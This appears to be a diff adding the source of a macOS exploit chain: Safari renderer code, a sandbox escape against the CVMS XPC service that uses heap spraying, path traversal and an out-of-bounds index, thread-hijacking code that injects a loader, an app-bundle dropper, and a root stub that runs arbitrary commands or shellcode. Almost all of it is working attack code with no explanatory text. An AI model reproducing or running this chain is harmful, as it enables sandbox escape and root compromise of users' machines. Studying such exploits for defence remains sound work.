|
||||
-framework Foundation \
|
||||
-Lthreadexec/lib \
|
||||
-lthreadexec
|
||||
|
||||
all: cvm_side sbx
|
||||
|
||||
cvm_side: cvm_side.cc
|
||||
make -C root
|
||||
./embed.py root/app > bundle.hh
|
||||
$(CXX) -o $@ $<
|
||||
|
||||
sbx: safari.mm cvm.cc
|
||||
./build-threadexec.sh
|
||||
./build-webkit.sh
|
||||
$(CXX) $(SBX_CXXFLAGS) -o $@ $^ $(SBX_LDFLAGS)
|
||||
|
||||
clean:
|
||||
make clean -C root
|
||||
rm -f cvm_side sbx
|
||||
|
||||
.PHONY: all clean
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
git clone https://github.com/bazad/threadexec.git
|
||||
cd threadexec
|
||||
git checkout 7c255d0a0d63464b82315d93a27dddc1d51b42d6
|
||||
patch -p1 --forward < ../threadexec.diff
|
||||
make
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [ ! -e WebKit ]; then
|
||||
svn checkout -r 254377 --depth empty https://svn.webkit.org/repository/webkit/tags/Safari-608.5.11/Source/ WebKit/Source
|
||||
cd WebKit/Source
|
||||
svn update --set-depth empty WebCore WebCore/platform
|
||||
svn update --set-depth infinity WebCore/platform/network WTF
|
||||
fi
|
||||
|
||||
@@ -0,0 +1,484 @@
|
||||
#include <sandbox.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <xpc/xpc.h>
|
||||
#include <time.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_status.h>
|
||||
#if __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
#include <threadexec/threadexec.h>
|
||||
#if __cplusplus
|
||||
}
|
||||
#endif
|
||||
#include <CommonCrypto/CommonDigest.h>
|
||||
#include <sys/stat.h>
|
||||
#include <mach-o/dyld.h>
|
||||
#include <dlfcn.h>
|
||||
#define _XOPEN_SOURCE
|
||||
#include <ucontext.h>
|
||||
|
||||
#define PATHRAND 128
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
int sandbox_init_with_parameters(const char *profile,
|
||||
uint64_t flags,
|
||||
const char *const parameters[],
|
||||
char **errorbuf);
|
||||
|
||||
mach_port_t _xpc_dictionary_extract_mach_send(xpc_object_t, char const *);
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#define TRIAL 0x1000
|
||||
#define PLUGIN_NAME "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib"
|
||||
|
||||
char prefix[0x100];
|
||||
char *tmpdir;
|
||||
|
||||
char *conf(int id) {
|
||||
char buf[0x400];
|
||||
char buf2[0x400];
|
||||
if(confstr(id, buf, sizeof(buf)) && realpath(buf, buf2)) {
|
||||
printf("%d: %s\n", id, buf2);
|
||||
} else {
|
||||
puts("conf failed");
|
||||
return NULL;
|
||||
}
|
||||
strcat(buf2, "/");
|
||||
return strdup(buf2);
|
||||
}
|
||||
|
||||
char data_exp[0x1000];
|
||||
int data_exp_size = sizeof(data_exp);
|
||||
struct {
|
||||
uint64_t lib_size;
|
||||
uint64_t bitcode_size;
|
||||
uint64_t plugin_size;
|
||||
uint8_t hash[32];
|
||||
uint32_t revision;
|
||||
uint32_t flags;
|
||||
uint32_t count;
|
||||
uint16_t loadable;
|
||||
uint16_t bitcode_offset;
|
||||
uint16_t plugin_offset;
|
||||
uint16_t entry_offset;
|
||||
char pad[4];
|
||||
size_t pointers[0x12];
|
||||
} maps_exp_ = {
|
||||
.lib_size=UINT64_MAX,
|
||||
.bitcode_size=0,
|
||||
.plugin_size=UINT64_MAX,
|
||||
.hash={},
|
||||
.revision=20120507,
|
||||
.flags=0x31A,
|
||||
.count=0,
|
||||
.loadable=1,
|
||||
.bitcode_offset=0,
|
||||
.plugin_offset=0,
|
||||
.entry_offset=0x30
|
||||
};
|
||||
char *maps_exp = (char *)&maps_exp_;
|
||||
long maps_exp_size = sizeof(maps_exp_);
|
||||
|
||||
xpc_object_t mem_descriptor(void *mem, size_t size, size_t offset_in_page, size_t real_size, bool trigger) {
|
||||
xpc_object_t elements[3] = {
|
||||
xpc_shmem_create(mem, size),
|
||||
xpc_uint64_create(offset_in_page),
|
||||
xpc_uint64_create(real_size)
|
||||
};
|
||||
|
||||
if(trigger) ((long *)elements[0])[4] = offset_in_page - 1;
|
||||
|
||||
return xpc_array_create(elements, 3);
|
||||
}
|
||||
|
||||
const char *serviceName = "com.apple.cvmsServ";
|
||||
|
||||
void my_error(const char *name) {
|
||||
printf("error: %s\n", name);
|
||||
}
|
||||
|
||||
xpc_connection_t connect(bool create) {
|
||||
xpc_connection_t conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
|
||||
if (conn == NULL) {
|
||||
my_error("xpc_connection_create_mach_service");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
xpc_connection_set_event_handler(conn, ^(xpc_object_t) {
|
||||
// printf("Received message in generic event handler: %p\n", obj);
|
||||
// printf("%s\n", xpc_copy_description(obj));
|
||||
});
|
||||
|
||||
xpc_connection_resume(conn);
|
||||
|
||||
if(create) {
|
||||
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_int64(msg, "message", 1);
|
||||
xpc_connection_send_message(conn, msg);
|
||||
// usleep(20000);
|
||||
}
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
char *pad(int size, int i) {
|
||||
static char value[0x10000];
|
||||
// char *value = (char *)mmap(NULL, ((size + 1) + 0xfff) & ~0xfff, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
|
||||
int start = sprintf(value, "0x%x", i);
|
||||
memset(value + start, 0x41, size);
|
||||
value[size] = '\0';
|
||||
return value;
|
||||
}
|
||||
|
||||
void spray_value(xpc_object_t msg) {
|
||||
xpc_dictionary_set_value(msg, "ey", xpc_fd_create(0));
|
||||
|
||||
if(true) {
|
||||
// prepare *neighboring* chunks which fills the freelist
|
||||
xpc_object_t subdict = xpc_dictionary_create(NULL, NULL, 0);
|
||||
for(int i = 0; i < 0x500; i++) {
|
||||
xpc_dictionary_set_value(subdict, pad(0x50 - 41, i), xpc_bool_create(true));
|
||||
}
|
||||
xpc_dictionary_set_value(msg, "free", subdict);
|
||||
}
|
||||
|
||||
// lets spoof deserializer to free the first "free" key
|
||||
xpc_dictionary_set_value(msg, "fref", xpc_bool_create(true));
|
||||
static bool seen_free = false;
|
||||
xpc_dictionary_apply(msg, ^bool(const char *key, xpc_object_t) {
|
||||
if(!strcmp(key, "free")) {
|
||||
seen_free = true;
|
||||
}
|
||||
if(!memcmp(key, "fre", 3) && key[3] != 'e') {
|
||||
if(!seen_free) {
|
||||
puts("check other key!");
|
||||
exit(1);
|
||||
}
|
||||
memcpy((void *)key, "free", 4);
|
||||
}
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
xpc_object_t init_msg;
|
||||
|
||||
xpc_connection_t spray() {
|
||||
xpc_connection_t conn = connect(false);
|
||||
xpc_object_t msg;
|
||||
|
||||
msg = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_int64(msg, "message", 1);
|
||||
spray_value(msg);
|
||||
|
||||
xpc_connection_send_message(conn, msg);
|
||||
// usleep(20000);
|
||||
|
||||
xpc_dictionary_set_int64(msg, "message", 4);
|
||||
char buf[0x1000];
|
||||
strcpy(buf, "../../../../");
|
||||
strcat(buf, tmpdir);
|
||||
for(int i = 0; i < PATHRAND; i++)
|
||||
strcat(buf, (rand() % 2) ? "./" : "//");
|
||||
strcat(buf, "spray");
|
||||
strcat(buf, prefix);
|
||||
xpc_dictionary_set_string(init_msg, "framework_name", buf);
|
||||
xpc_connection_send_message_with_reply(conn, init_msg, NULL, ^(xpc_object_t) {
|
||||
puts("spraying...");
|
||||
});
|
||||
// xpc_release(conn);
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
uint64_t heap_index;
|
||||
|
||||
vm_address_t allocate(mach_port_t port, size_t size, void **map) {
|
||||
vm_prot_t PROTECTION = VM_PROT_READ | VM_PROT_WRITE;
|
||||
vm_address_t address = 0;
|
||||
if(vm_allocate(port, &address, size, true)) {
|
||||
my_error("vm_allocate");
|
||||
exit(1);
|
||||
}
|
||||
if(map) {
|
||||
mach_port_t handle;
|
||||
if(mach_make_memory_entry_64(port, (memory_object_size_t *)&size, address, PROTECTION | 0x400000, &handle, 0)) {
|
||||
my_error("mach_make_memory_entry_64");
|
||||
exit(1);
|
||||
}
|
||||
if(vm_map(mach_task_self(), (vm_address_t *)map, size, 0, 1, handle, 0, false, PROTECTION, PROTECTION, VM_INHERIT_NONE)) {
|
||||
my_error("vm_map");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
return address;
|
||||
}
|
||||
|
||||
bool vm_read_chk(vm_map_t target_task, size_t address, void *data, vm_size_t size) {
|
||||
mach_msg_type_number_t outCnt;
|
||||
memset(data, 0, size);
|
||||
vm_address_t dataPtr;
|
||||
if(vm_read(target_task, address, size, &dataPtr, &outCnt)) {
|
||||
puts("error: vm_read");
|
||||
return false;
|
||||
}
|
||||
// printf("vm_read(%p, 0x%x): 0x%x\n", address, size, outCnt);
|
||||
memcpy(data, (void *)dataPtr, outCnt);
|
||||
vm_deallocate(mach_task_self(), dataPtr, outCnt);
|
||||
return true;
|
||||
}
|
||||
|
||||
__asm__(".data\n_loader_start: .incbin \"" CURRENT_DIR "/../loader/loader.bin\"\n_loader_end:");
|
||||
__asm__(".data\n_library_start: .incbin \"" CURRENT_DIR "/../sbx/cvm_side\"\n_library_end:");
|
||||
|
||||
extern char loader_start[], loader_end[];
|
||||
extern char library_start[], library_end[];
|
||||
|
||||
void spoof(mach_port_t port) {
|
||||
thread_act_array_t threads;
|
||||
mach_msg_type_number_t count;
|
||||
task_threads(port, &threads, &count);
|
||||
printf("threads: %d\n", count);
|
||||
static bool first = true;
|
||||
|
||||
threadexec_t tx = threadexec_init(port, threads[1], TX_BORROW_THREAD_PORT | (first ? TX_SUSPEND : 0));
|
||||
puts("yey");
|
||||
|
||||
size_t res = -1, res2 = -1;
|
||||
threadexec_call_cv(tx, &res, sizeof(res), (void *)&mmap,
|
||||
6,
|
||||
TX_CARG_LITERAL(uint64_t, 0),
|
||||
TX_CARG_LITERAL(uint64_t, (0x1000 + library_end - library_start)),
|
||||
TX_CARG_LITERAL(uint64_t, 7),
|
||||
TX_CARG_LITERAL(uint64_t, MAP_JIT | MAP_ANON | MAP_PRIVATE),
|
||||
TX_CARG_LITERAL(uint64_t, -1),
|
||||
TX_CARG_LITERAL(uint64_t, 0)
|
||||
);
|
||||
|
||||
printf("0x%lx\n", res);
|
||||
printf("%p %p\n", dlopen, dlsym);
|
||||
|
||||
vm_write(port, res, (vm_offset_t)loader_start, loader_end - loader_start);
|
||||
vm_write(port, res + 0x1000, (vm_offset_t)library_start, library_end - library_start);
|
||||
|
||||
first = false;
|
||||
|
||||
/* payload/loader/loader.bin:
|
||||
0x00000055 e801000000 call 0x5b
|
||||
0x0000005a c3 ret
|
||||
*/
|
||||
size_t entry_call_offset = 0x5b;
|
||||
threadexec_call_cv(tx, &res2, sizeof(res), (void *)(res + entry_call_offset),
|
||||
4,
|
||||
TX_CARG_LITERAL(uint64_t, (res + 0x1000)),
|
||||
TX_CARG_LITERAL(uint64_t, dlopen),
|
||||
TX_CARG_LITERAL(uint64_t, dlsym),
|
||||
TX_CARG_LITERAL(uint64_t, NULL)
|
||||
);
|
||||
|
||||
puts("done!");
|
||||
}
|
||||
|
||||
bool
|
||||
trigger()
|
||||
{
|
||||
// xpc_connection_t spray_conn = spray();
|
||||
xpc_connection_t conn = connect(true);
|
||||
xpc_object_t msg;
|
||||
|
||||
char buf[0x1000];
|
||||
strcpy(buf, "../../../../");
|
||||
strcat(buf, tmpdir);
|
||||
for(int i = 0; i < PATHRAND; i++)
|
||||
strcat(buf, (rand() % 2) ? "./" : "//");
|
||||
strcat(buf, "exp");
|
||||
strcat(buf, prefix);
|
||||
xpc_dictionary_set_string(init_msg, "framework_name", buf);
|
||||
|
||||
#define COUNT 1
|
||||
for(int i = 0; i < COUNT; i++) {
|
||||
xpc_connection_send_message_with_reply(conn, init_msg, NULL, ^(xpc_object_t resp) {
|
||||
printf("Received second message: %p\n%s\n", resp, xpc_copy_description(resp));
|
||||
});
|
||||
|
||||
msg = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_int64(msg, "message", 7);
|
||||
xpc_dictionary_set_uint64(msg, "heap_index", heap_index);
|
||||
|
||||
xpc_object_t resp = xpc_connection_send_message_with_reply_sync(conn, msg);
|
||||
|
||||
{
|
||||
static int count = 0;
|
||||
count++;
|
||||
int pid = 0;
|
||||
mach_port_t port = _xpc_dictionary_extract_mach_send((xpc_connection_t)resp, "vm_port");
|
||||
printf("Received second message: %p\n%s\n", resp, xpc_copy_description(resp));
|
||||
|
||||
if(port) {
|
||||
int res = pid_for_task(port, &pid);
|
||||
printf("try: %d %d %d\n", port, res, pid);
|
||||
if(!res) {
|
||||
puts("success!");
|
||||
spoof(port);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if(xpc_get_type(resp) == &_xpc_type_error) {
|
||||
// exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void write_file(const char *buf, void *data, size_t size) {
|
||||
int fd = open(buf, O_CREAT|O_WRONLY, 0777);
|
||||
if(fd == -1) {
|
||||
my_error("open");
|
||||
exit(1);
|
||||
}
|
||||
write(fd, data, size);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
void *cvm_main(void *) {
|
||||
struct stat statbuf;
|
||||
|
||||
tmpdir = conf(0x10001);
|
||||
if(stat("/System/Library/Frameworks/OpenGL.framework/Libraries/libLLVMContainer.dylib", &statbuf)) {
|
||||
my_error("stat");
|
||||
return NULL;
|
||||
}
|
||||
maps_exp_.lib_size = statbuf.st_size;
|
||||
|
||||
if(stat(PLUGIN_NAME, &statbuf)) {
|
||||
my_error("stat");
|
||||
return NULL;
|
||||
}
|
||||
maps_exp_.plugin_size = statbuf.st_size;
|
||||
|
||||
CC_SHA256(data_exp, sizeof(data_exp), maps_exp_.hash);
|
||||
|
||||
setvbuf(stdout, 0, _IONBF, 0);
|
||||
sprintf(prefix, "%lX", clock());
|
||||
|
||||
char logpath[0x100];
|
||||
sprintf(logpath, "%s/%s", tmpdir, "log.txt");
|
||||
unlink(logpath);
|
||||
|
||||
close(0);
|
||||
close(1);
|
||||
close(2);
|
||||
int fd = open(logpath, O_CREAT|O_WRONLY, 0777);
|
||||
for(int i = 0; i < 3; i++)
|
||||
dup(fd);
|
||||
|
||||
char buf[0x400];
|
||||
int id = geteuid();
|
||||
|
||||
#define WRITE(type) \
|
||||
snprintf(buf, sizeof(buf), "%s/%s%s.x86_64.%d.data", tmpdir, #type, prefix, id); \
|
||||
write_file(buf, data_##type, data_##type##_size); \
|
||||
snprintf(buf, sizeof(buf), "%s/%s%s.x86_64.%d.maps", tmpdir, #type, prefix, id); \
|
||||
write_file(buf, maps_##type, maps_##type##_size);
|
||||
|
||||
{
|
||||
size_t offsets[] = {
|
||||
// 0x3b
|
||||
};
|
||||
|
||||
uint32_t *addr = &mach_task_self_;
|
||||
while(true) {
|
||||
if(*addr == 0x103) {
|
||||
break;
|
||||
}
|
||||
addr++;
|
||||
}
|
||||
|
||||
for(int i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) {
|
||||
uint32_t **base = (uint32_t **)(maps_exp + 0x50 + offsets[i] * 8);
|
||||
*base = addr;
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
size_t offsets[] = {
|
||||
0xf, 0x11
|
||||
};
|
||||
|
||||
// Just peek any library area that contains "0x103" dword in 8-byte aligned storage
|
||||
extern size_t NSOwnedPointerHashCallBacks;
|
||||
size_t *addr = &NSOwnedPointerHashCallBacks;
|
||||
while(true) {
|
||||
if(*addr == 0x103) {
|
||||
break;
|
||||
}
|
||||
addr++;
|
||||
}
|
||||
|
||||
/*
|
||||
GetMemory(index)
|
||||
rax := UserInput
|
||||
[rax+0x38] = X
|
||||
[X+0x30] = Length (UINT64_MAX)
|
||||
[X+0x28] = Y (0)
|
||||
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
|
||||
*/
|
||||
size_t *target_addr = (size_t *)(((size_t *)&_xpc_error_termination_imminent)[4] + 0x10 - 0x38);
|
||||
extern int num_frames;
|
||||
heap_index = (0xaaaaaaaaaaaaaabLL * (
|
||||
((size_t)addr - 0x10 -
|
||||
((size_t *)target_addr[0x38 >> 3])[0x28 >> 3])
|
||||
>> 3
|
||||
) % (1LL << 61));
|
||||
// index * 0x18 = (0x00007FFF9963CFB8 - 0x00007FFF9978EB68)
|
||||
printf("0x%llX\n", heap_index);
|
||||
|
||||
for(unsigned long i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) {
|
||||
size_t **base = (size_t **)(maps_exp + 0x50 + offsets[i] * 8);
|
||||
*base = target_addr;
|
||||
}
|
||||
}
|
||||
|
||||
WRITE(exp);
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
init_msg = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_int64(init_msg, "message", 4);
|
||||
struct {
|
||||
uint64_t size;
|
||||
int arch;
|
||||
int flags;
|
||||
} _id = {
|
||||
0xFFFFFFFFFFF0000, 0x2, *(short *)&maps_exp[0x3c]
|
||||
};
|
||||
xpc_dictionary_set_value(init_msg, "args", xpc_data_create(&_id, 16));
|
||||
spray_value(init_msg);
|
||||
xpc_dictionary_set_string(init_msg, "bitcode_name", "");
|
||||
xpc_dictionary_set_string(init_msg, "plugin_name", PLUGIN_NAME);
|
||||
|
||||
for(int i = 0; i < TRIAL; i++) {
|
||||
for(int i = 0; i < 8; i++) {
|
||||
spray();
|
||||
}
|
||||
|
||||
if(trigger())
|
||||
break;
|
||||
usleep(200000);
|
||||
}
|
||||
// for(int i = 0; i < TRIAL; i++) {
|
||||
// xpc_release(conn[i]);
|
||||
// }
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
char* get_arg0_of_pid(int pid) {
|
||||
int mib[3];
|
||||
mib[0] = CTL_KERN;
|
||||
mib[1] = KERN_ARGMAX;
|
||||
mib[2] = 0;
|
||||
|
||||
int argmax = 0;;
|
||||
size_t size = sizeof(argmax);
|
||||
if (sysctl(mib, 2, &argmax, &size, NULL, 0) == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* procargs = (char *)malloc(argmax);
|
||||
if (procargs == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
mib[0] = CTL_KERN;
|
||||
mib[1] = KERN_PROCARGS2;
|
||||
mib[2] = pid;
|
||||
|
||||
size = (size_t)argmax;
|
||||
if (sysctl(mib, 3, procargs, &size, NULL, 0) == -1) {
|
||||
free(procargs);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* returnarg0 = strdup(procargs + sizeof(int));
|
||||
free(procargs);
|
||||
return returnarg0;
|
||||
}
|
||||
|
||||
int find_first_pid_matching(char* starting_arg) {
|
||||
size_t start_len = strlen(starting_arg);
|
||||
if (start_len < 1) {
|
||||
return 0;
|
||||
}
|
||||
for (int i=0;i<65536;i++) {
|
||||
char* arg0 = get_arg0_of_pid(i);
|
||||
if (arg0) {
|
||||
if (!strncmp(arg0, starting_arg, start_len)) {
|
||||
int pid = i;
|
||||
free(arg0);
|
||||
return pid;
|
||||
} else {
|
||||
free(arg0);
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
char randbuf[0x1000] = "";
|
||||
|
||||
void *handler(void *arg) {
|
||||
char cvms_app_path[] = "/private/var/db/CVMS/";
|
||||
while (true) {
|
||||
int app_pid = find_first_pid_matching(cvms_app_path);
|
||||
if (app_pid) {
|
||||
kill(app_pid, SIGCONT);
|
||||
break;
|
||||
}
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
char coreserv_path[] = "/System/Library/CoreServices/CoreServicesUIAgent.app/Contents/MacOS/CoreServicesUIAgent";
|
||||
int popup_pid = find_first_pid_matching(coreserv_path);
|
||||
if (popup_pid) {
|
||||
kill(popup_pid, SIGKILL);
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
unlink("/private/var/db/CVMS/m.app/Contents/PkgInfo");
|
||||
unlink("/private/var/db/CVMS/m.app/Contents/Info.plist");
|
||||
unlink("/private/var/db/CVMS/m.app/Contents/MacOS/popcalc");
|
||||
rmdir("/private/var/db/CVMS/m.app/Contents/MacOS");
|
||||
rmdir("/private/var/db/CVMS/m.app/Contents/Resources");
|
||||
rmdir("/private/var/db/CVMS/m.app/Contents");
|
||||
unlink("/private/var/db/CVMS/m.app");
|
||||
rmdir(randbuf);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void write_file(const char *path, const void *ptr, size_t size) {
|
||||
int fd = open(path, O_CREAT | O_WRONLY, 0777);
|
||||
write(fd, ptr, size);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
void init_app() {
|
||||
sprintf(randbuf, "/private/var/db/CVMS/");
|
||||
|
||||
chdir(randbuf);
|
||||
unlink("m.app");
|
||||
|
||||
sprintf(randbuf, "%lu.app", clock());
|
||||
symlink(randbuf, "m.app");
|
||||
|
||||
mkdir(randbuf, 0777);
|
||||
chdir(randbuf);
|
||||
|
||||
#include "bundle.hh"
|
||||
|
||||
chdir("/private/var/db/CVMS");
|
||||
}
|
||||
|
||||
int main() {
|
||||
init_app();
|
||||
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, NULL, handler, NULL);
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os, sys
|
||||
|
||||
os.chdir(sys.argv[1])
|
||||
|
||||
def recursive(path):
|
||||
base = path
|
||||
for path in os.listdir(path):
|
||||
abspath = os.path.join(base, path).replace('\\', '/')
|
||||
sys.stderr.write('Packing ' + abspath+'\n')
|
||||
if os.path.isdir(abspath):
|
||||
print("mkdir(\"%s\", 0777);" % abspath)
|
||||
recursive(abspath)
|
||||
else:
|
||||
print("{")
|
||||
print(" unsigned char content[] = {%s};" % ((', '.join('%d' % x for x in open(abspath, "rb").read()))))
|
||||
print(" write_file(\"%s\", content, sizeof(content));" % abspath)
|
||||
print("}")
|
||||
|
||||
recursive('.')
|
||||
@@ -0,0 +1,2 @@
|
||||
/Unrootless-Kext
|
||||
/Unrootless
|
||||
@@ -0,0 +1,12 @@
|
||||
CFLAGS := -DCURRENT_DIR=\"$(CURDIR)\"
|
||||
TARGET := app/Contents/MacOS/popcalc
|
||||
|
||||
all: $(TARGET)
|
||||
|
||||
$(TARGET): main.c
|
||||
$(CC) $(CFLAGS) -o $@ $^
|
||||
|
||||
clean:
|
||||
rm -f $(TARGET)
|
||||
|
||||
.PHONY: all clean
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>BuildMachineOSBuild</key>
|
||||
<string>19D76</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>en</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>popcalc</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>nogroup.popcalc</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>popcalc</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleSupportedPlatforms</key>
|
||||
<array>
|
||||
<string>MacOSX</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>DTCompiler</key>
|
||||
<string>com.apple.compilers.llvm.clang.1_0</string>
|
||||
<key>DTPlatformBuild</key>
|
||||
<string>11C504</string>
|
||||
<key>DTPlatformVersion</key>
|
||||
<string>GM</string>
|
||||
<key>DTSDKBuild</key>
|
||||
<string>19B90</string>
|
||||
<key>DTSDKName</key>
|
||||
<string>macosx10.15</string>
|
||||
<key>DTXcode</key>
|
||||
<string>1130</string>
|
||||
<key>DTXcodeBuild</key>
|
||||
<string>11C504</string>
|
||||
<key>LSMinimumSystemVersion</key>
|
||||
<string>10.15</string>
|
||||
<key>NSHumanReadableCopyright</key>
|
||||
<string>Copyright © 2020 setuid0. All rights reserved.</string>
|
||||
<key>NSPrincipalClass</key>
|
||||
<string>NSApplication</string>
|
||||
<key>NSSupportsAutomaticTermination</key>
|
||||
<true/>
|
||||
<key>NSSupportsSuddenTermination</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
Vendored
Executable
BIN
Binary file not shown.
@@ -0,0 +1 @@
|
||||
APPL????
|
||||
@@ -0,0 +1,34 @@
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
char root_payload[1024] = "ROOT_PAYLOAD_PLACEHOLDER";
|
||||
void run_payload() {
|
||||
if (!strncmp(root_payload, "CMD:", 4)) {
|
||||
system(root_payload + 4);
|
||||
} else {
|
||||
if (root_payload[0] == 'R' &&
|
||||
root_payload[1] == 'O' &&
|
||||
root_payload[2] == 'O' &&
|
||||
root_payload[3] == 'T') {
|
||||
/*system("open /System/Applications/TextEdit.app");*/
|
||||
/*system("open /System/Applications/Calculator.app");*/
|
||||
return;
|
||||
}
|
||||
void *ptr = mmap(0, sizeof(root_payload), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
return;
|
||||
}
|
||||
memcpy(ptr, root_payload, sizeof(root_payload));
|
||||
int (*sc)() = ptr;
|
||||
sc();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
run_payload();
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#define WEBCORE_EXPORT
|
||||
#include "ResourceError.h"
|
||||
#import <CoreFoundation/CFError.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <wtf/URLParser.h>
|
||||
#import <wtf/BlockObjCExceptions.h>
|
||||
#import <wtf/NeverDestroyed.h>
|
||||
|
||||
namespace WTF {
|
||||
}
|
||||
|
||||
namespace WebCore {
|
||||
String getNSURLErrorDomain()
|
||||
{
|
||||
static const NeverDestroyed<String> errorDomain(NSURLErrorDomain);
|
||||
return errorDomain.get();
|
||||
}
|
||||
}
|
||||
|
||||
using namespace WebCore;
|
||||
|
||||
class Client {
|
||||
public:
|
||||
};
|
||||
|
||||
class Document {
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
class Wrapper {
|
||||
public:
|
||||
void *a, *b, *type;
|
||||
T *wrapped;
|
||||
};
|
||||
|
||||
__asm__(".quad 0x13371337, 0\njmp _main");
|
||||
|
||||
void *cvm_main(void *);
|
||||
|
||||
extern "C"
|
||||
int main(int, char **args) {
|
||||
|
||||
uint64_t document_addr = (uint64_t)((Wrapper<Document> *)args[0])->wrapped;
|
||||
|
||||
char product[256] = {0};
|
||||
size_t strsize = sizeof(product);
|
||||
int ret = sysctlbyname("kern.osproductversion", product, &strsize, NULL, 0);
|
||||
|
||||
// 10.15.4
|
||||
uint64_t frame_offset = 0x160;
|
||||
uint64_t loader_offset = 0x88;
|
||||
uint64_t vtable_offset = 0x138;
|
||||
if (!strcmp(product, "10.15.3")) {
|
||||
frame_offset = 0x1a0;
|
||||
loader_offset = 0x98;
|
||||
vtable_offset = 0x140;
|
||||
}
|
||||
|
||||
uint64_t frame = (uint64_t)*(uint64_t*)(document_addr + frame_offset);
|
||||
uint64_t loaderptr = (uint64_t)*(uint64_t*)(frame + loader_offset);
|
||||
uint64_t clientuint = (uint64_t)*(uint64_t*)(loaderptr + 8);
|
||||
uint64_t clientvftable = (uint64_t)*(uint64_t*)clientuint;
|
||||
void* func_ptr = (void*)*(uint64_t*)(clientvftable + vtable_offset);
|
||||
Client* client = (Client*)clientuint;
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, NULL, cvm_main, NULL);
|
||||
pthread_join(thread, NULL);
|
||||
|
||||
char buf[0x400] = "file:///var/db/CVMS/m.app";
|
||||
|
||||
ResourceError error(getNSURLErrorDomain(), -1101, {{}, buf}, "yee");
|
||||
|
||||
typedef void (*t_dispatchDidFailProvisionalLoad)(Client *self, ResourceError &error, bool continueLoading);
|
||||
t_dispatchDidFailProvisionalLoad WebFrameLoaderClient_dispatchDidFailProvisionalLoad = (t_dispatchDidFailProvisionalLoad)func_ptr;
|
||||
|
||||
WebFrameLoaderClient_dispatchDidFailProvisionalLoad(client, error, true);
|
||||
sleep(8);
|
||||
return 0;
|
||||
}
|
